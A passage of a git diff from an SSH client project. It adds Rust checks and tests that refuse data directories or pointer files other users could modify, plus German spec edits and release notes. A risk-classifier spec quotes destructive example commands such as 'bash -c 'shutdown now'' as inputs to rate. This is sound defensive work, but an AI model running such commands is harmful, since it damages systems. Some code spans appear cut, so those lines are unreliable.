(_tmp, dir) = dir_with_mode(0o777); + let s = dir.to_str().unwrap(); + let err = resolve_with(Some(s), None, None, None).unwrap_err(); + assert_eq!(err.source, DataDirSource::Flag); + assert!(err.reason.contains("modified by other users")); + let err = resolve_with(None, Some(s), None, None).unwrap_err(); + assert_eq!(err.source, DataDirSource::Env); + } + + #[test] + fn test_world_writable_dir_is_refused_for_pointer_file() { + let (tmp, dir) = dir_with_mode(0o777); + let file = tmp.path().join("App.data-dir"); + std::fs::write(&file, dir.to_str().unwrap()).unwrap(); + set_mode(&file, 0o644); + let err = resolve_with(None, None, Some(&file), None).unwrap_err(); + assert_eq!(err.source, DataDirSource::PointerFile); + } + + #[test] + fn test_existing_owned_dir_0700_and_0770_is_accepted() { + let (_tmp, dir) = dir_with_mode(0o700); + let r = resolve_with(Some(dir.to_str().unwrap()), None, None, None).unwrap(); + assert!(!r.group_writable); + set_mode(&dir, 0o770); + let r = resolve_with(Some(dir.to_str().unwrap()), None, None, None).unwrap(); + assert!(r.group_writable); + } + + #[test] + fn test_created_dir_is_owner_only() { + let tmp = tempfile::tempdir().unwrap(); + let dir = tmp.path().join("fresh"); + resolve_with(Some(dir.to_str().unwrap()), None, None, None).unwrap(); + assert_eq!(mode_of(&dir), 0o700); + } + + #[test] + fn test_no_override_runs_no_check() { + let r = resolve_with(None, None, None, None).unwrap(); + assert_eq!(r.source, DataDirSource::Default); + assert!(!r.group_writable); + } +} + +#[cfg(windows)] +mod windows { + use crate::data_dir_trust::windows_dacl::{allow_ace_sid_offset, owner_verdict}; + use crate::paths::resolve_with; + + #[test] + fn test_owner_verdict() { + assert!(owner_verdict(true, false).is_ok()); + // Administrators/SYSTEM/TrustedInstaller (elevated processes). + assert!(owner_verdict(false, true).is_ok()); + // Another user owns it. + assert!(owner_verdict(false, false).is_err()); + } + + #[test] + fn test_allow_ace_sid_offset() { + // Plain and callback allow ACEs: SID right after the mask. + assert_eq!(allow_ace_sid_offset(0, 0), Some(8)); + assert_eq!(allow_ace_sid_offset(9, 0), Some(8)); + // Object ACEs: flags, then up to two GUIDs. + assert_eq!(allow_ace_sid_offset(5, 0), Some(12)); + assert_eq!(allow_ace_sid_offset(5, 1), Some(28)); + assert_eq!(allow_ace_sid_offset(11, 2), Some(28)); + assert_eq!(allow_ace_sid_offset(11, 3), Some(44)); + // Deny, audit and other types grant nothing. + assert_eq!(allow_ace_sid_offset(1, 0), None); + assert_eq!(allow_ace_sid_offset(2, 0), None); + } + + #[test] + fn test_default_per_user_dir_is_accepted_and_everyone_write_is_refused() { + let tmp = tempfile::tempdir().unwrap(); + let dir = tmp.path().join("data"); + std::fs::create_dir(&dir).unwrap(); + let s = dir.to_str().unwrap(); + resolve_with(Some(s), None, None, None).expect("default per-user permissions"); + let status = std::process::Command::new("icacls") + .args([s, "/grant", "*S-1-1-0:(OI)(CI)(W)"]) + .status() + .unwrap(); + assert!(status.success()); + let err = resolve_with(Some(s), None, None, None).unwrap_err(); + assert!( + err.reason.contains("modified by other users"), + "{}", + err.reason + ); + } +} diff --git a/crates/persistence-sqlite/src/lib.rs b/crates/persistence-sqlite/src/lib.rs index fda1972bd..eda10c283 100644 --- a/crates/persistence-sqlite/src/lib.rs +++ b/crates/persistence-sqlite/src/lib.rs @@ -12,6 +12,7 @@ mod chat_session_store; /// Spec 0101, A9: der produktive `CredentialStore` — Secrets in der /// verschlüsselten Datenbank statt im Schlüsselbund. mod credential_store; +mod data_dir_trust; /// Spec 0101, A4/A6–A8: Dateizustand erkennen, mit Schlüssel öffnen, /// Klartext-Datei umwandeln. mod encryption; diff --git a/crates/persistence-sqlite/src/paths.rs b/crates/persistence-sqlite/src/paths.rs index 157668286..ff27b04f2 100644 --- a/crates/persistence-sqlite/src/paths.rs +++ b/crates/persistence-sqlite/src/paths.rs @@ -74,6 +74,9 @@ pub struct ResolvedDataDir { pub source: DataDirSource, /// For [`DataDirSource::PointerFile`]: the pointer file. pub pointer_file: Option, + /// Unix: an override directory that is group-writable (accepted, see + /// Spec 0115); the caller logs a warning once logging has started. + pub group_writable: bool, } impl ResolvedDataDir { @@ -282,18 +285,13 @@ pub fn resolve_with( data_dir_override_from(flag).is_some() || data_dir_override_from(env).is_some(); let mut content = None; if let (false, Some(file)) = (flag_or_env, pointer_file) { - match std::fs::read_to_string(file) { - Ok(c) => content = Some(c), - Err(e) if e.kind() == std::io::ErrorKind::NotFound => {} - Err(e) => { - return Err(DataDirError { - path: file.to_path_buf(), - source: DataDirSource::PointerFile, - pointer_file: Some(file.to_path_buf()), - reason: format!("cannot read the pointer file: {e}"), - }) - } - } + content = + crate::data_dir_trust::read_pointer_file(file).map_err(|reason| DataDirError { + path: file.to_path_buf(), + source: DataDirSource::PointerFile, + pointer_file: Some(file.to_path_buf()), + reason, + })?; } let pointer = pointer_file.zip(content.as_deref()); let Some((dir, source)) = select_override(flag, env, pointer, home)? else { @@ -301,6 +299,7 @@ pub fn resolve_with( dir: platform_default_data_dir(), source: DataDirSource::Default, pointer_file: None, + group_writable: false, }); }; let pointer_file = (source == DataDirSource::PointerFile) @@ -312,7 +311,21 @@ pub fn resolve_with( pointer_file: pointer_file.clone(), reason, }; + let existed = dir.exists(); std::fs::create_dir_all(&dir).map_err(|e| fail(format!("cannot create it: {e}")))?; + if !existed { + // The leaf the app creates itself is owner-only on Linux/macOS (0700); + // parents made by `create_dir_all` keep the default mode, and on + // Windows the new directory inherits its parent's ACL. It is checked + // below like an existing one. + ssh_manager_core::fs_hardening::try_harden_permissions(&dir, 0o700, "data directory") + .map_err(|e| { + fail(format!( + "cannot restrict it to your account: {:?}", + e.error_kind + )) + })?; + } let meta = std::fs::metadata(&dir).map_err(|e| fail(format!("cannot read it: {e}")))?; if !meta.is_dir() { return Err(fail("it is not a directory".to_owned())); @@ -320,10 +333,12 @@ pub fn resolve_with( if meta.permissions().readonly() { return Err(fail("it is read-only".to_owned())); } + let trust = crate::data_dir_trust::check_data_dir(&dir).map_err(fail)?; Ok(ResolvedDataDir { dir, source, pointer_file, + group_writable: trust.group_writable, }) } @@ -683,6 +698,61 @@ mod tests { ); } + /// The generated Android project is committed but regenerable; this guards + /// that app data stays out of system backup / device transfer. + #[test] + fn test_android_manifest_excludes_app_data_from_backup() { + let manifest = include_str!( + "../../../apps/smart-ssh-community/gen/android/app/src/main/AndroidManifest.xml" + ); + assert!(manifest.contains(r#"android:allowBackup="false""#)); + assert!(manifest.contains(r#"android:fullBackupContent="false""#)); + assert!(manifest.contains(r#"android:dataExtractionRules="@xml/data_extraction_rules""#)); + + let rules = include_str!( + "../../../apps/smart-ssh-community/gen/android/app/src/main/res/xml/data_extraction_rules.xml" + ); + for section in ["cloud-backup", "device-transfer"] { + let open = format!("<{section}>"); + let start = rules + .find(&open) + .unwrap_or_else(|| panic!("missing {section}")); + let end = rules[start..] + .find(&format!("")) + .expect("unclosed section") + + start; + let body = &rules[start..end]; + for domain in ["root", "file", "database", "sharedpref", "external"] { + assert!( + body.contains(&format!(r#".smartssh-backup-` an. Der Backup-Pfad steht im - Chat-Ergebnis. + Chat-Ergebnis. Beim regulären Schreiben ist die Kopie durch die Dateigröße + vor dem Schreiben begrenzt: Liefert die Datei mehr Bytes (gewachsen, Endlos-Spezialdatei), + scheitert die Aktion, die Zieldatei bleibt unverändert und eine + angefangene Sicherungskopie wird entfernt. 5. **Ergebnis.** Nach der Bestätigung wird geschrieben; Erfolg oder Fehler samt Backup-Pfad gehen als Ergebnis in den KI-Kontext zurück. @@ -137,6 +140,9 @@ Server ein Sudo-Passwort hinterlegt (Spec 0018), gilt: Modus, eine neue bekommt 0644. 4. Das Backup aus 4.2, Punkt 4 entsteht in diesem Fall ebenfalls mit Sudo (`sudo -S cp -p`), weil die Zieldatei sonst nicht kopierbar wäre. + Diese Sudo-Kopie ist nicht größenbegrenzt; nur der SHA-256-Wert „vorher“ + ist begrenzt und fehlt bei einer Datei, die größer ist als ihre + Größenabfrage meldet. 5. Ist **kein** Sudo-Passwort hinterlegt (oder wurde es nicht angekündigt), wird der Fehler unverändert gemeldet, mit dem Hinweis, dass für den Pfad erhöhte Rechte nötig sind. Es gibt keinen stillen Ersatzweg. diff --git a/docs/specs/0026-command-risk-indicators.md b/docs/specs/0026-command-risk-indicators.md index 6b8bf47cc..6247578af 100644 --- a/docs/specs/0026-command-risk-indicators.md +++ b/docs/specs/0026-command-risk-indicators.md @@ -44,7 +44,8 @@ Teile. Text, den die Filter-Engine nicht sicher zerlegen kann (Here-Doc-Operator, unausgeglichene Anführungszeichen), wird als Ganzes eingestuft und zusätzlich an `;`, `&`, `|` und Zeilenumbrüchen in Bruchstücke geteilt, die einzeln -eingestuft werden. Eine Verkettung wird so nie niedriger eingestuft als ihr +eingestuft werden; Command-Substitutionen darin werden wie in jedem anderen +Teilkommando mit eingestuft. Eine Verkettung wird so nie niedriger eingestuft als ihr Teilkommando allein (z. B. `rm;<<`). **Dieselbe Normalisierung und dieselben Begrenzungen wie die Filter-Engine.** @@ -55,8 +56,10 @@ Variablen-Präfixe abgeschält), nicht gegen den Rohtext. Sonst würden weil die Muster am Kommandoanfang ansetzen. Ebenso gelten Längen- und Verschachtelungsgrenze aus Spec 0002, Abschnitt 4, Punkt 7: Der Klassifizierer steigt nicht ungebremst in verschachtelte `$(...)` ab. Ein -Kommando über dem Längenlimit gilt bei eingeschalteter Einstellung aus -Spec 0092 als rot, weil seine Einstufung nicht belastbar ist. +Kommando über dem Längenlimit wird nicht zerlegt; bewertet werden seine +Stücke wie in Spec 0002, Abschnitt 4, Punkt 7. Es gilt bei eingeschalteter +Einstellung aus Spec 0092 trotzdem als rot, weil seine Einstufung nicht +belastbar ist. **Code in Shell-`-c`-Aufrufen wird mitbewertet.** Steckt ein Kommando im Code-Argument eines Shell- oder Interpreter-Aufrufs (`bash -c 'shutdown now'`, diff --git a/docs/specs/0054-sftp-browser-actions.md b/docs/specs/0054-sftp-browser-actions.md index 4c4a84fa1..6854bf471 100644 --- a/docs/specs/0054-sftp-browser-actions.md +++ b/docs/specs/0054-sftp-browser-actions.md @@ -125,7 +125,9 @@ Kein Filter- oder KI-Gate; Bestätigung bei Irreversiblem. Klasse (Besitzer/Gruppe/andere), die „lesen“ hat, damit sie betretbar bleiben. Sonderbits setzt die rekursive Anwendung nie auf Dateien; Ordner behalten ihre eigenen Sonderbits, außer der Nutzer hat sie im Dialog - geändert – dann erhalten nur Ordner die gewählten. Bei gesetztem + geändert – dann erhalten nur Ordner die gewählten. Rekursiv folgt es + symbolischen Links nicht (Links unterhalb des Ordners bleiben unberührt, + ebenso ihr Ziel). Bei gesetztem „rekursiv“ zeigt der Dialog eine Zeile wie „Ordner: 755, Dateien: 644“. Ohne „rekursiv“ wird genau der Dialogwert gesetzt. Die Eigenschaften zeigen die Rechte ebenfalls vierstellig. diff --git a/docs/specs/0086-sftp-limits-and-session-pairing.md b/docs/specs/0086-sftp-limits-and-session-pairing.md index 359b006e6..ebe4c5d15 100644 --- a/docs/specs/0086-sftp-limits-and-session-pairing.md +++ b/docs/specs/0086-sftp-limits-and-session-pairing.md @@ -10,8 +10,8 @@ Review-Priorität: erhöht für A3 (Sitzungsaufbau, normaler Kanal), sonst norma - „Dateiinhalt kopieren“ funktioniert für Textdateien bis 50 MB und lehnt eine größere Datei ab, auch wenn sie erst nach der Größenabfrage so groß wurde. Ab 5 MB zeigt die Oberfläche Fortschritt und einen Abbrechen-Knopf. „Lokal öffnen“ lehnt Dateien über - 50 MB ab, vor dem Lesen, wenn die Größe schon bekannt ist, sonst nach dem - Lesen. + 50 MB ab, vor dem Lesen, wenn die Größe bekannt ist; sonst oder bei zu klein + gemeldeter Größe werden höchstens 50 MB + 1 Byte gelesen. - Scheitert ein Download oder Upload über den erhöhten Kanal, weil der Modus widerrufen wurde, nennt die Übertragungsliste denselben Text wie der Befehl. @@ -21,10 +21,10 @@ Review-Priorität: erhöht für A3 (Sitzungsaufbau, normaler Kanal), sonst norma ## 2. Nicht-Ziele -- Kein begrenztes Lesen für „Lokal öffnen“ und die Vorschau des - Upload-Vergleichs: Eine Datei darf dort kurz ganz im Speicher liegen, sie - wird nur nicht weitergegeben. „Dateiinhalt kopieren“ liest dagegen - begrenzt (A1.1). +- Keine Zusage, dass eine Datei über der Grenze gar nicht übertragen wird: + Die Größenprüfung per `stat` ist eine Vorabprüfung (A1.1, A1.2). Gelesen + wird aber nie mehr als die Grenze plus ein Byte, der Speicher hängt also + nicht von der Dateigröße ab. - Keine Grenze für Download, Upload oder die KI-Lesepfade (für die KI gilt Spec 0020, Abschnitt 4.1). - Die Meldung bei einem Wechsel des Zielnutzers im erhöhten Modus bleibt, wie @@ -48,7 +48,8 @@ Review-Priorität: erhöht für A3 (Sitzungsaufbau, normaler Kanal), sonst norma - **A1.2** „Lokal öffnen“ lehnt eine Datei über 50 MB (50 × 1024 × 1024 Bytes) ab. Meldung, wörtlich: `Datei ist größer als 50 MB — zu groß zum lokalen Öffnen. Bitte stattdessen herunterladen.` Ein gescheiterter - Größenabruf bricht den Befehl wie bisher ab. + Größenabruf bricht den Befehl wie bisher ab. Gelesen werden höchstens 50 MB + + 1 Byte. - **A1.3** Bei einer Ablehnung nach A1.2 entsteht **keine** lokale Datei und kein Ordner in der Bearbeitungskopie-Ablage. Eine dort schon liegende Kopie derselben Datei aus einem früheren „Lokal öffnen“ bleibt unverändert. @@ -63,7 +64,8 @@ Review-Priorität: erhöht für A3 (Sitzungsaufbau, normaler Kanal), sonst norma bedienbar. Abbrechen beendet das Lesen, kopiert nichts und zeigt keine Fehlermeldung. - **A1.6** Die Grenze der Vorschau im Upload-Vergleich (256 KB) und der - KI-Lesepfad (Spec 0020, Abschnitt 4.1) bleiben unverändert. + KI-Lesepfad (Spec 0020, Abschnitt 4.1) bleiben unverändert. Auch die + Vorschau liest höchstens 256 KB + 1 Byte. ### A2 — Transfer-Meldung beim Widerruf @@ -162,11 +164,15 @@ heutige Ziel umgeschrieben oder entfernt; die Kennung bleibt vergeben. Lesen und kopiert nichts. - **T3c (A1.6)** Die Vorschau des Upload-Vergleichs lehnt weiter über 256 KB ab. +- **T3d (A1.6)** Scheitert die Größenabfrage der Vorschau im Upload-Vergleich + oder meldet sie zu wenig, werden höchstens 256 KB + 1 Byte gelesen. - **T4 (A1.2)** `stat` meldet 50 MB + 1: Ablehnung mit dem Text aus A1.2, ohne dass gelesen wurde; kein Eintrag in der Bearbeitungskopie-Ablage. - **T5 (A1.2/A1.3)** `stat` meldet 10 Bytes, gelesen werden 50 MB + 1: Ablehnung, keine lokale Datei; eine vorhandene Kopie ist danach byte-gleich. + Es entsteht auch dann kein Ordner, wenn vorher keine Kopie existierte. + Gelesen wird nur bis zur Grenze + 1 Byte. - **T6 (A1.2)** Genau 50 MB werden geöffnet (Grenzwert). - **T7 (A1.4)** T3 und T4 auch über den erhöhten Kanal. - **T8 (A2.1)** Download und Upload über den erhöhten Kanal, Widerruf nach diff --git a/docs/specs/0114-android.md b/docs/specs/0114-android.md index 007f09115..a4fa5de45 100644 --- a/docs/specs/0114-android.md +++ b/docs/specs/0114-android.md @@ -39,6 +39,7 @@ Bezüge: Spec 0113 (Schmales Layout), Spec 0101 (Master-Passwort), Spec 0049 (Ti - Datenbank, Logs, Bearbeitungskopien und Downloads liegen im app-privaten Speicher der App; kein Pfad hängt vom Heimverzeichnis ab, ein fehlendes `HOME` verursacht keinen Absturz. - Für Übertragungen mit dem Auswahldialog legt die App eine Kopie im app-privaten Speicher an; sie wird nach der Übertragung bzw. dem Lesen wieder gelöscht. +- Die App-Daten (Datenbank, Master-Passwort-Schlüsseldatei, Host-Keys, Einstellungen) sind vom System-Backup und von der Geräte-zu-Geräte-Übertragung ausgenommen. Zum Umzug auf ein neues Gerät dient der verschlüsselte Backup-Export (Spec 0109). Die App gibt keine Dateien aus ihrem Speicher an andere Apps frei. ## 4. Hintergrund diff --git a/docs/specs/0115-datenverzeichnis-override.md b/docs/specs/0115-datenverzeichnis-override.md index 25377ca3e..3129ab1a2 100644 --- a/docs/specs/0115-datenverzeichnis-override.md +++ b/docs/specs/0115-datenverzeichnis-override.md @@ -35,6 +35,14 @@ Nicht Teil des Verzeichnisses: Einträge im Schlüsselbund des Betriebssystems; Lässt sich das gewählte Verzeichnis nicht anlegen oder benutzen, erscheint das Startfehlerfenster mit Pfad und Quelle (Argument, Umgebungsvariable oder Zeigerdatei). Die App weicht nie auf das Standardverzeichnis aus und legt dort nichts an. +### 4.1 Wer die Dateien ändern darf + +Ein Override gilt nur, wenn andere lokale Konten die Zeigerdatei und das Datenverzeichnis nicht verändern können; sonst erscheint dasselbe Startfehlerfenster (Ursache z. B. „the pointer file can be modified by other users“, „the data directory is not owned by you“), ohne Ausweichen auf das Standardverzeichnis. + +- **Zeigerdatei** (nur wenn der Override von ihr kommt): Unter Linux und macOS gehört sie dem aktuellen Benutzer oder root und ist weder für die Gruppe noch für alle beschreibbar. Ein symbolischer Link oder eine Datei, die keine reguläre Datei ist (z. B. eine benannte Pipe), wird abgelehnt. Unter Windows gehört sie dem aktuellen Benutzer, den Administratoren, SYSTEM oder TrustedInstaller (ein erhöht gestarteter Prozess legt Dateien für die Administratoren an), und ihre Zugriffsliste darf Everyone, Authenticated Users, BUILTIN\Users, Guests und Anonymous kein Schreib-, Änderungs-, Lösch- oder Besitzrecht geben. +- **Datenverzeichnis** (für jede Quelle: Argument, Umgebungsvariable, Zeigerdatei): Ein vorhandenes Verzeichnis gehört unter Linux und macOS dem aktuellen Benutzer und ist nicht für alle beschreibbar; unter Windows gehört es dem aktuellen Benutzer, den Administratoren, SYSTEM oder TrustedInstaller und es gilt dieselbe Zugriffslisten-Regel (auch Zugriffseinträge mit Bedingung oder Objektbezug zählen). Für die Gruppe beschreibbar ist erlaubt (Benutzergruppen mit umask 002); das Start-Log enthält dann eine Warnung. Legt die App das Verzeichnis selbst an, ist es unter Linux und macOS nur für den Benutzer zugänglich (Modus 0700; übergeordnete Ordner behalten ihren Modus), unter Windows erbt es die Zugriffsliste des übergeordneten Ordners. Ein selbst angelegtes Verzeichnis wird danach wie ein vorhandenes geprüft. +- Das Standardverzeichnis (ohne Override) wird nicht geprüft. + ## 5. Anzeige - Mit einem Override zeigt die Titelzeile neben der Version „Daten: ~/Pfad“ (Home mit `~` gekürzt, voller Pfad als Tooltip). Ohne Override erscheint nichts. diff --git a/release-notes/0.8.0.json b/release-notes/0.8.0.json new file mode 100644 index 000000000..080839e90 --- /dev/null +++ b/release-notes/0.8.0.json @@ -0,0 +1,37 @@ +{ + "version": "0.8.0", + "highlights": { + "en": [ + "A new look: angular design, new app icon, redesigned title bar, chat, file browser, settings and dialogs.", + "Smart SSH now runs on Android and fits narrow windows, with a touch key row, background sessions and system file picking.", + "Encrypted backup of all your data to one file, restorable with a recovery code or passphrase.", + "File transfers show progress, speed and remaining time and can be cancelled; an activity center tracks long-running work.", + "Servers can now ask for passwords, one-time codes or other login input in a dialog, and outdated SSH algorithms are supported with a notice.", + "Deny rules and risk rating now see commands hidden behind sudo, wrappers, subshells, comments and more." + ], + "de": [ + "Neues Design: kantige Optik, neues App-Icon, überarbeitete Titelleiste, Chat, Dateibrowser, Einstellungen und Dialoge.", + "Smart SSH läuft jetzt auf Android und passt sich schmalen Fenstern an, mit Tastenreihe, Hintergrund-Sitzungen und System-Dateiauswahl.", + "Verschlüsselte Sicherung aller Daten in einer Datei, wiederherstellbar mit Wiederherstellungscode oder Passphrase.", + "Dateiübertragungen zeigen Fortschritt, Tempo und Restzeit und lassen sich abbrechen; ein Aktivitätscenter zeigt lange Vorgänge.", + "Server können Passwörter, Einmalcodes und andere Login-Eingaben jetzt per Dialog abfragen; veraltete SSH-Algorithmen werden mit Hinweis unterstützt.", + "Deny-Regeln und Risikobewertung erkennen jetzt Befehle hinter sudo, Wrappern, Subshells, Kommentaren und mehr." + ], + "fr": [ + "Nouveau design : style anguleux, nouvelle icône, barre de titre, chat, explorateur de fichiers, réglages et boîtes de dialogue repensés.", + "Smart SSH fonctionne désormais sur Android et s'adapte aux fenêtres étroites, avec rangée de touches, sessions en arrière-plan et sélecteur de fichiers système.", + "Sauvegarde chiffrée de toutes vos données dans un seul fichier, restaurable avec un code de récupération ou une phrase secrète.", + "Les transferts de fichiers affichent progression, vitesse et temps restant et peuvent être annulés ; un centre d'activité suit les tâches longues.", + "Les serveurs peuvent demander mots de passe, codes à usage unique ou autres saisies de connexion dans une boîte de dialogue ; les anciens algorithmes SSH sont pris en charge avec un avertissement.", + "Les règles de refus et l'évaluation des risques voient désormais les commandes cachées derrière sudo, des wrappers, des sous-shells, des commentaires et plus." + ], + "es": [ + "Nuevo diseño: estilo angular, nuevo icono, barra de título, chat, explorador de archivos, ajustes y diálogos rediseñados.", + "Smart SSH ahora funciona en Android y se adapta a ventanas estrechas, con fila de teclas, sesiones en segundo plano y selector de archivos del sistema.", + "Copia de seguridad cifrada de todos tus datos en un solo archivo, restaurable con un código de recuperación o una frase de contraseña.", + "Las transferencias de archivos muestran progreso, velocidad y tiempo restante y se pueden cancelar; un centro de actividad sigue las tareas largas.", + "Los servidores pueden pedir contraseñas, códigos de un solo uso u otros datos de inicio de sesión en un diálogo; los algoritmos SSH antiguos se admiten con un aviso.", + "Las reglas de denegación y la evaluación de riesgo ahora ven los comandos ocultos tras sudo, wrappers, subshells, comentarios y más." + ] + } +} diff --git a/scripts/file-size-allowlist.json b/scripts/file-size-allowlist.json index c4ee0236e..15f831d66 100644 --- a/scripts/file-size-allowlist.json +++ b/scripts/file-size-allowlist.json @@ -17,7 +17,6 @@ "crates/core/src/ai/redactor_reference.rs": 1424, "crates/core/src/ai/tests.rs": 3036, "crates/core/src/filter/engine.rs": 1497, - "crates/core/src/filter/parser.rs": 2056, "crates/core/src/filter/tests.rs": 3175, "crates/persistence-sqlite/src/backup_store.rs": 1202, "crates/persistence-sqlite/src/chat_session_store.rs": 1586,